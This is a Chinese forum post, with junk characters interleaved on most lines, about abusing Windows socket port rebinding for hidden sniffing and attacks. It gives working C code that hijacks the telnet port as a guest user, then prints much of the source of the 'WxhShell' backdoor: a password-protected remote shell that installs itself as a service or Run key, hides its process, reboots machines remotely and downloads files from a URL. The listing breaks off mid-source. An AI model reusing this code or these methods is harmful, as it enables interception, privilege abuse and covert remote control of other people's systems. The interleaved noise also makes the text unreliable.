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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V4V TP]'n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %o^'(L@z  
iW)FjDTP  
  saddr.sin_family = AF_INET; OaU$ [Z'8  
&?zJ|7rh@|  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z(Q?epyT  
p?Yovckm  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o^DiIo or  
yDy3;*lE  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 27,WP-qie  
0 w@~ynW[  
  这意味着什么?意味着可以进行如下的攻击: QM;L>e-ZY  
yVh]hL#4+w  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 173/A=]  
m[Zz(tL  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) +yCIA\i#t6  
'<1T>|`/t  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >@ge[MuS  
1j0yON  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =>S5}6  
;=UrIA@y;=  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 W P.6ea7k  
[@>Kd`!'  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 zFQxW4G  
/6L\`\g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ;O{AYF?,N  
*h-nI=  
  #include W.0dGUi*  
  #include tQ=U22&7  
  #include Gi;e Drgj~  
  #include    f}XUxIQ-<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   B8w 0DJ  
  int main() NUx%zY  
  { x#Hq74H,  
  WORD wVersionRequested; UXIq>[2Z1  
  DWORD ret; .F 3v)  
  WSADATA wsaData; ,h>0k`J:a  
  BOOL val; U_M> Q_r(  
  SOCKADDR_IN saddr; $C^94$W  
  SOCKADDR_IN scaddr; v?d~H`L  
  int err; JNX7]j\  
  SOCKET s; $ n 7dIE  
  SOCKET sc; $i~DUT(  
  int caddsize; /=Q7RJ@P  
  HANDLE mt; D ZLSn Ax  
  DWORD tid;   i~l0XjQbs  
  wVersionRequested = MAKEWORD( 2, 2 ); Lxd*W2$3_  
  err = WSAStartup( wVersionRequested, &wsaData ); {f3T !e{  
  if ( err != 0 ) { 2} 509X(*  
  printf("error!WSAStartup failed!\n"); jF-z?  
  return -1; 5 QMu=/  
  } | L fH,6  
  saddr.sin_family = AF_INET; ,v)@&1Wh:  
   .sjM$#V=  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 z@<`]  
0v',+-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ]S%qfna e1  
  saddr.sin_port = htons(23); F=d#$-yg  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ds7I .Q'  
  { 2ht<"  
  printf("error!socket failed!\n"); ?~u"w OH'  
  return -1; {!6!z,  
  } qZA?M=NT?  
  val = TRUE; 4MIL# 1s  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 my*UN_]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) M}M.  
  { qw"`NubX  
  printf("error!setsockopt failed!\n"); X3RpJ#m"'  
  return -1; D!)'c(b  
  } FV:{lC{h~  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HOu<,9?>Q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j: ]/AReOL  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _=4Dh/Dv  
yfuvU2nVH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o.Q |%&1  
  { E: XzX Fxx  
  ret=GetLastError(); #7gOtP#{  
  printf("error!bind failed!\n"); 7nIg3s%  
  return -1; w 7=Y_  
  } 37 M7bB0  
  listen(s,2); JJ7-$h'0q  
  while(1) QD / | zi  
  { p~=%CG^5  
  caddsize = sizeof(scaddr); 8(uxz84ce  
  //接受连接请求 }$m_):t@@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); PO |p53  
  if(sc!=INVALID_SOCKET) c67O/ B(  
  { 1z[WJ}$u  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =X-$k k  
  if(mt==NULL) 0~n= |3*P  
  { ^HC! my  
  printf("Thread Creat Failed!\n"); iFga==rw  
  break; jC; XY!d6  
  } ^$rt|]  
  } 1N:eM/a  
  CloseHandle(mt); d![EnkyL;  
  } 6OIA>%{  
  closesocket(s); 7jEAhi!Cq(  
  WSACleanup(); gKS^-X{x  
  return 0; OEZXV ;F  
  }   T[ky7\  
  DWORD WINAPI ClientThread(LPVOID lpParam) ng<|lsZd  
  { gEPCXf  
  SOCKET ss = (SOCKET)lpParam; uOm fpgO  
  SOCKET sc; c;(}Ih(#  
  unsigned char buf[4096]; I 9tdr<  
  SOCKADDR_IN saddr; qYbod+UX  
  long num; L`];i8=I  
  DWORD val; c5O1h8  
  DWORD ret; 5_=&U-? H  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -FE5sW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   i-tX5Md|  
  saddr.sin_family = AF_INET; xa!@$w=U&  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a=C?fh  
  saddr.sin_port = htons(23); k]I<%  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yxi.A$g  
  { <0&];5 on  
  printf("error!socket failed!\n"); 9)H~I/9Y  
  return -1; :@YZ6?hf  
  } U .e Urzu  
  val = 100; _3kAN .g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 8FbBv"LI,g  
  { J*$ !^\s  
  ret = GetLastError(); Z$6W)~;,  
  return -1; ~#) DJ  
  } ?t?!)#X  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]9b*!n<z  
  { s_E iA _  
  ret = GetLastError(); {^$rmwN  
  return -1; L;grH5K5  
  } ,4EE9 ?J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5TzMv3;in2  
  { ZTHr jW1  
  printf("error!socket connect failed!\n"); ?4gYUEM#  
  closesocket(sc); U'Vz   
  closesocket(ss); 5k<HO_]  
  return -1; ~e'FPVDn  
  } <3ovCqa  
  while(1) -C.eXR{s  
  { $yc&f(Tv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]6 }|X#_  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F<G.!Y8!&  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 mezP"N=L~  
  num = recv(ss,buf,4096,0); qj=12;  
  if(num>0) C2DNyMu  
  send(sc,buf,num,0);  UIhB  
  else if(num==0) cBc6*%ZD  
  break; >&Bg F*mm  
  num = recv(sc,buf,4096,0); \s+ <w3  
  if(num>0) ` YIpZ rB  
  send(ss,buf,num,0); 1.jW^sM  
  else if(num==0) H:p(C?tk{  
  break; fa"eyBO50  
  } H |75,!<  
  closesocket(ss); u9k##a4.E  
  closesocket(sc); 5?6 ATP:[  
  return 0 ; BA L!6  
  } W\FKA vS  
&5C%5C~ch  
g[:5@fI#*  
========================================================== nD E5A  
T>W(Caelq  
下边附上一个代码,,WXhSHELL .>h|e_E  
^VoQGP/cl  
========================================================== Ml0d^l}'  
4[rD|  
#include "stdafx.h" 9u"im+=:  
!4-NbtT  
#include <stdio.h> Z`< +8e  
#include <string.h> ]3Mm"7`  
#include <windows.h> F~<$E*&h@  
#include <winsock2.h> e|]g ?!  
#include <winsvc.h> ezHj?@  
#include <urlmon.h> N b(se*Y#  
IKAF%0[R|j  
#pragma comment (lib, "Ws2_32.lib") cUS2* 7h  
#pragma comment (lib, "urlmon.lib") 5.5dB2w  
ilpg()  
#define MAX_USER   100 // 最大客户端连接数 zg|yW6l)9  
#define BUF_SOCK   200 // sock buffer 9;JU c0%  
#define KEY_BUFF   255 // 输入 buffer "52wa<MV J  
pOw4H67  
#define REBOOT     0   // 重启 (Z6[a{}1i  
#define SHUTDOWN   1   // 关机 OJ] {FI  
4!iS"QH?;^  
#define DEF_PORT   5000 // 监听端口 q;Qpd]H  
.DCp)&m l;  
#define REG_LEN     16   // 注册表键长度 AGOK%[[Ws  
#define SVC_LEN     80   // NT服务名长度 b]CJf8'u  
C, jPr )6)  
// 从dll定义API qfN<w&P  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vWzNsWPK"{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PMkwY {.u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )pJ}o&J  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?MO'WB9+JR  
NL2n\%n  
// wxhshell配置信息 Zw"6-h4  
struct WSCFG { M,y='*\M  
  int ws_port;         // 监听端口 213D{#2  
  char ws_passstr[REG_LEN]; // 口令 s9O] tk  
  int ws_autoins;       // 安装标记, 1=yes 0=no zXZy:SD  
  char ws_regname[REG_LEN]; // 注册表键名 :sM|~gT  
  char ws_svcname[REG_LEN]; // 服务名 lL%7lO   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 G{ F>=z"(l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kZF\V7k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {TUCa  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ]P]lG-  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c3oI\lU  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qY#*zx  
^W#[6]S  
}; @yobT,DXi  
$W` &7  
// default Wxhshell configuration cF,u)+2b|6  
struct WSCFG wscfg={DEF_PORT, D {>, 2hC  
    "xuhuanlingzhe", }L:LcM  
    1, nLT]'B]$ +  
    "Wxhshell", -YS n 3=  
    "Wxhshell", 5nf|CQH6?  
            "WxhShell Service", -c|O!Lc-  
    "Wrsky Windows CmdShell Service", @{t^8I#]  
    "Please Input Your Password: ", TSE(Kt  
  1, C8NbxP  
  "http://www.wrsky.com/wxhshell.exe", yHT}rRS8  
  "Wxhshell.exe" tk_y~-xz  
    }; o&I 0*~ sN  
y]cx}9~  
// 消息定义模块 VVCCPK^<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zIRa%%.i<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gU+BRTZ&x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uf_w o  
char *msg_ws_ext="\n\rExit."; a ,W5T8  
char *msg_ws_end="\n\rQuit."; "@`M>)*o  
char *msg_ws_boot="\n\rReboot..."; 0ZPPt(7  
char *msg_ws_poff="\n\rShutdown..."; NP%ll e,l  
char *msg_ws_down="\n\rSave to "; I+u=H2][2  
[-Q"A 6!Zd  
char *msg_ws_err="\n\rErr!"; 9n@jK%m  
char *msg_ws_ok="\n\rOK!"; P`U5kNN  
I0)iC[s8;  
char ExeFile[MAX_PATH]; L~vNW6#W  
int nUser = 0; li NPXS+  
HANDLE handles[MAX_USER]; 2evM|Dj  
int OsIsNt; ^{Syg;F=  
XXe7w3x{  
SERVICE_STATUS       serviceStatus; ( B50~it  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?nU V3#6{  
7"8HlOHA  
// 函数声明 jzzVZ%t  
int Install(void); }yB@?  
int Uninstall(void); !j7b7<wR  
int DownloadFile(char *sURL, SOCKET wsh); t}*teo[  
int Boot(int flag); ojyG|Y  
void HideProc(void); E7*1QR{Q  
int GetOsVer(void); ~49+$.2  
int Wxhshell(SOCKET wsl); 4.??U!r>KI  
void TalkWithClient(void *cs); = ng\  
int CmdShell(SOCKET sock); 5<d Y,FvX  
int StartFromService(void); P=u)Q _  
int StartWxhshell(LPSTR lpCmdLine); nc$?tC9V  
1d-j_ H`s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %NxNZe  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <NS= <'U  
xbn+9b  
// 数据结构和表定义 4b7}Sr=`  
SERVICE_TABLE_ENTRY DispatchTable[] = 5'oWd e  
{ #9 } Oqm  
{wscfg.ws_svcname, NTServiceMain}, EHo"y.ODg  
{NULL, NULL} Qj3UO]>  
}; 17};I7  
G_dia6  
// 自我安装 eZ  ]6 Q  
int Install(void) 6p1TI1(  
{ 'OF)`5sj  
  char svExeFile[MAX_PATH]; /vU9eh"%  
  HKEY key; '@pav>UPD  
  strcpy(svExeFile,ExeFile); B=n]N+  
14zo0ANM  
// 如果是win9x系统,修改注册表设为自启动 fI}-?@  
if(!OsIsNt) { LJI&j \  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I -;JDC?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qD`')=  
  RegCloseKey(key); Snh\Fgdz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eb( =V *  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0} P&G^%"  
  RegCloseKey(key); O\G%rp L$w  
  return 0; *sL'6"#Cre  
    } +.>O%pNj  
  } z!RA=]3h  
} Z39^nGO  
else { wBeOMA  
&dOV0y_  
// 如果是NT以上系统,安装为系统服务 Q[~O`Lz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); p&ow\A O  
if (schSCManager!=0) P#Eqe O  
{ 'n>|jw)  
  SC_HANDLE schService = CreateService %f:'A%'Qb  
  ( g:f0K2)\r:  
  schSCManager, @&h<jM{D  
  wscfg.ws_svcname, 0*tEuJ7  
  wscfg.ws_svcdisp, * z{D}L-&  
  SERVICE_ALL_ACCESS, S6]D;c8GE  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 's&Vg09D,  
  SERVICE_AUTO_START, 4H\O&pSS  
  SERVICE_ERROR_NORMAL, *NXwllrci  
  svExeFile, ;#f%vs>Y7i  
  NULL, faMUd#o&  
  NULL, o8Bo%OjE  
  NULL, SkPv.H0Id  
  NULL, XP{ nf9&  
  NULL ;gW~+hW^  
  ); qTffh{q V  
  if (schService!=0) dB_\,%vAd  
  { b_wb!_  
  CloseServiceHandle(schService); %lV>Nc|iz=  
  CloseServiceHandle(schSCManager); .h7b 4J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); BE3~f6 `  
  strcat(svExeFile,wscfg.ws_svcname); CTPn'P=\C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { );,#H`'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y`(z_5ClT  
  RegCloseKey(key); *w@>zkBl  
  return 0; 6j` waK  
    } MJ92S(  
  } 4@8i,q>  
  CloseServiceHandle(schSCManager); }n:-nB4  
} tQwbIX-7/  
} ngdVRJL  
v $ pA Rt  
return 1; yK}#|b'cM  
} V8,$<1Fi;-  
pw(`+x]  
// 自我卸载 co~TQpy^  
int Uninstall(void) <(^-o4Cl  
{ )hQ`l d7B  
  HKEY key; ]%mg(&p4  
WP}__1!%u  
if(!OsIsNt) { 4Y-9W2s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {/ty{  
  RegDeleteValue(key,wscfg.ws_regname); 71)HxC[6vA  
  RegCloseKey(key); _$fxoD9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x80~j(uVf  
  RegDeleteValue(key,wscfg.ws_regname); "`&?<82  
  RegCloseKey(key); ZS}2(t   
  return 0; k+s<;{  
  } Mq*Sp UR  
} }[75`pC~O  
} c)Y I3G$  
else { <BO|.(ys  
>,~JQ%1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xQmk2S` y  
if (schSCManager!=0) Kvk;D ]$  
{ C[x!Lf8'  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qv,|7yw{  
  if (schService!=0) OZISh?  
  { bk>M4l61  
  if(DeleteService(schService)!=0) { w5&UG/z%l  
  CloseServiceHandle(schService); 4!monaB"e  
  CloseServiceHandle(schSCManager); 6 #QS 5  
  return 0; ?=PQQx2_*u  
  } YemOP9  
  CloseServiceHandle(schService); {8UBxFIM(  
  } rj:$'m7  
  CloseServiceHandle(schSCManager); ;>CmVC'/  
} "ENgu/A!  
} Ay2|@1e  
*1elUI2Rg  
return 1; Duz}e80  
} >iG`  
xy|;WB  
// 从指定url下载文件 >\@6i s  
int DownloadFile(char *sURL, SOCKET wsh) gbI0?G6XN/  
{ C6/,-?%)  
  HRESULT hr; x^C,xP[#Y;  
char seps[]= "/"; ^ qE4:|e  
char *token; 31bKgU{  
char *file; "@Te!.~A.  
char myURL[MAX_PATH]; k_y@vW3  
char myFILE[MAX_PATH]; #G]s.by('  
O:u^jcXA  
strcpy(myURL,sURL); <89 js87  
  token=strtok(myURL,seps); \x|(`;{  
  while(token!=NULL) {yfG_J  
  { kvo741RO6  
    file=token; kmP0gT{Sj  
  token=strtok(NULL,seps); 0TVO'$Gvi  
  } 5))?,YkrrI  
|5Z@7  
GetCurrentDirectory(MAX_PATH,myFILE); ff{ESFtD  
strcat(myFILE, "\\"); 9|OQHy  
strcat(myFILE, file); ^:DlrI$  
  send(wsh,myFILE,strlen(myFILE),0); - +>~  
send(wsh,"...",3,0); 9g 2x+@5T^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =fRP9`y  
  if(hr==S_OK) -`Z5#8P  
return 0; xXHz)w  
else {N _v4})  
return 1; SmtH2%yI  
@YT=-  
} X?1 :Z|pJ  
/] R]7  
// 系统电源模块 r]8B6iV  
int Boot(int flag) 4RdpROK  
{ B8;ZOLAU  
  HANDLE hToken; 3K54:  
  TOKEN_PRIVILEGES tkp; 9{>m04888  
Nf$Y-v?i  
  if(OsIsNt) { Q <78< #I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); gp$+Qd  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .$?s :t  
    tkp.PrivilegeCount = 1; *D|6g| Hb  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; h`5au<h<  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q_@ Z.{  
if(flag==REBOOT) { f\|33)k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GR|Vwxs<@P  
  return 0; p 6jR,m8S  
} i:W oT4  
else { YF."D%?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K=!J=R;  
  return 0; G\Sd!'?p  
} w8@ Ok_fj  
  } wV U(Du  
  else { q>H!?zi\Hy  
if(flag==REBOOT) { U); ,Opr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N|Rlb5\  
  return 0; d)dIIzv  
} HeF[H\a<  
else { 8U=M.FFp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) kQ4%J, 7e4  
  return 0; Ij4\*D!  
} dqG+hh^  
} gS"@P:wYzs  
]C]tLJ!M  
return 1; OlV>zam  
} -h.' ]^I  
La3f{;|u5M  
// win9x进程隐藏模块 |w\D6d]o  
void HideProc(void) 85nUR [)h  
{ ?(ks=rRK  
CZ1 tqAk-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u wf3  
  if ( hKernel != NULL ) d~28!E+  
  { GO`X KE  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #%+IU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9]hc{\  
    FreeLibrary(hKernel); #H5*]"w6I  
  } c) 1m4SB@  
! 4i  
return; yqCy`TK8  
} y.mojx%?a  
W+1V&a}E  
// 获取操作系统版本 S0"O U0`N  
int GetOsVer(void) $\0j:<o  
{ :X@;XEol~  
  OSVERSIONINFO winfo; spFsrB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \`4}h[  
  GetVersionEx(&winfo); ,g^Bu {?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nA+[[(6  
  return 1; S: /ShT  
  else 9}3W0F;  
  return 0; /$ L;m  
} `[Lap=.' .  
ym1TGeFAq  
// 客户端句柄模块 v "oO  
int Wxhshell(SOCKET wsl) zwAuF%U  
{ YS~\Gls%  
  SOCKET wsh; 7b Gzun&  
  struct sockaddr_in client; .R:eN&Y 8y  
  DWORD myID; U6_1L,W  
r+ vtKb  
  while(nUser<MAX_USER) ir/2/ E  
{ ~\XB'  
  int nSize=sizeof(client); d9sgk3K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); x6F\|nb  
  if(wsh==INVALID_SOCKET) return 1; !.p!  
|a'Q^aT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J'2R-CI,  
if(handles[nUser]==0) i?|K+"=D  
  closesocket(wsh); :B"'49Q`  
else .W?POJT  
  nUser++; nw\p3  
  } PqvwM2}4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); $aGK8%.O  
5%G++oLXf  
  return 0; 1eT|  
} B&L{/.v_z\  
tD>m%1'&  
// 关闭 socket 7N'F]x  
void CloseIt(SOCKET wsh) /mr&Y}7T  
{ M2V.FYV{j>  
closesocket(wsh); 3ON]c13  
nUser--; v[lytX4)  
ExitThread(0); f1\x>W4z~\  
} n1$##=wK]  
R HF;AX n  
// 客户端请求句柄 Yh"Z@D[d  
void TalkWithClient(void *cs) /G84T,H  
{ So!1l7b  
hvpn=0@ M  
  SOCKET wsh=(SOCKET)cs; %/'[GC'y!  
  char pwd[SVC_LEN]; faJ5f.  
  char cmd[KEY_BUFF]; ~=#jO0dE|  
char chr[1]; -=g`7^qa>  
int i,j; -'YX2!IU,  
3V,X=  
  while (nUser < MAX_USER) { s  fti[  
c#G(7.0MU  
if(wscfg.ws_passstr) { %\- +SeC  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]enqkiS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !!` zz  
  //ZeroMemory(pwd,KEY_BUFF); 2$3BluK  
      i=0; Mzb_o2^(  
  while(i<SVC_LEN) { gXf_~zxS  
gR?3)m  
  // 设置超时 JWxPH5L  
  fd_set FdRead; 8YYY *>  
  struct timeval TimeOut; KY_qK)H  
  FD_ZERO(&FdRead); .h*&$c/l  
  FD_SET(wsh,&FdRead); 29Gej Lg |  
  TimeOut.tv_sec=8; Y,)9{T  
  TimeOut.tv_usec=0; r3*wH1n  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); g%\e80~1(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pp{%\td  
I5 2wTl0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4P` \fz  
  pwd=chr[0];  sRoZvp 5  
  if(chr[0]==0xd || chr[0]==0xa) { WUqAPN  
  pwd=0; VUx~Y'b  
  break; +)7NWR\  
  } {0QA+[Yd&!  
  i++; WG^D$L:  
    } )3u[btm  
yp :yS  
  // 如果是非法用户,关闭 socket "4r5n8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3a#!^ G!~  
} Rl S=^}>  
Q"Bgr&RJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); M)b`~|Wt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ? th+~dE  
&1Az`[zKGW  
while(1) { OB"QWdh  
2QBtwlQ?[  
  ZeroMemory(cmd,KEY_BUFF); +ckj]yA;  
g@j:TQM_0  
      // 自动支持客户端 telnet标准   \64(`6>  
  j=0; 2_Pe/  
  while(j<KEY_BUFF) { 'ugG^2Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i!Ne<Q  
  cmd[j]=chr[0]; \SMH",u  
  if(chr[0]==0xa || chr[0]==0xd) { h@Hmo^!9J  
  cmd[j]=0; 9xu&n%L=  
  break; TbX ZU$[c  
  } zZE?G:isR  
  j++; -R\}Q"  
    } ?2G^6>O `  
 ! $d:k|b  
  // 下载文件 r@n%  
  if(strstr(cmd,"http://")) { @-MrmF)<U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); {O"dj;RU  
  if(DownloadFile(cmd,wsh)) C6, Bqlio  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O&X-)g=  
  else _VMJq9.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ! q1Ql18n  
  } {+`ep\.$&  
  else { Wh4lz~D\@  
"Dy&`  
    switch(cmd[0]) { X0=R @_KY  
  2C-RoZ~  
  // 帮助 $jc>?.6  
  case '?': { OPjscc5  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %M^bZ?  
    break; 8zY)0  
  } tdt6*  
  // 安装 ?j OpW1  
  case 'i': { Rd#,Tl\  
    if(Install()) i>w>UA*t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +oiPj3  
    else X0C\87xfG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?Ts Z_  
    break; S63L>p|ml  
    } 9GQTe1[t4  
  // 卸载 ___+5r21\  
  case 'r': { XBeHyQp  
    if(Uninstall()) mV'd9(s?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SE/@li  
    else _p~ `nQ=7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z?i82B[Tm  
    break; _e-a>y  
    } @{$SjR8Q $  
  // 显示 wxhshell 所在路径 i?|SC=  
  case 'p': { fmSA.z  
    char svExeFile[MAX_PATH]; a<HM|dcst  
    strcpy(svExeFile,"\n\r"); ^7_<rs   
      strcat(svExeFile,ExeFile); 'i@Y #F%D  
        send(wsh,svExeFile,strlen(svExeFile),0); Fm2t:,=  
    break; f.8L<<5 c  
    } @r .K>+1  
  // 重启 OrRve$U*|  
  case 'b': { g xLA1]>{  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m\k$L7O  
    if(Boot(REBOOT)) E*'O))  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p~e6ah?1  
    else { @%jzVF7  
    closesocket(wsh); 8.A; I<  
    ExitThread(0); \K)q$E<!  
    } v/m6(z  
    break; 8>epKFEg  
    } *qR tk  
  // 关机 mqE&phF,  
  case 'd': { KT|$vw2b  
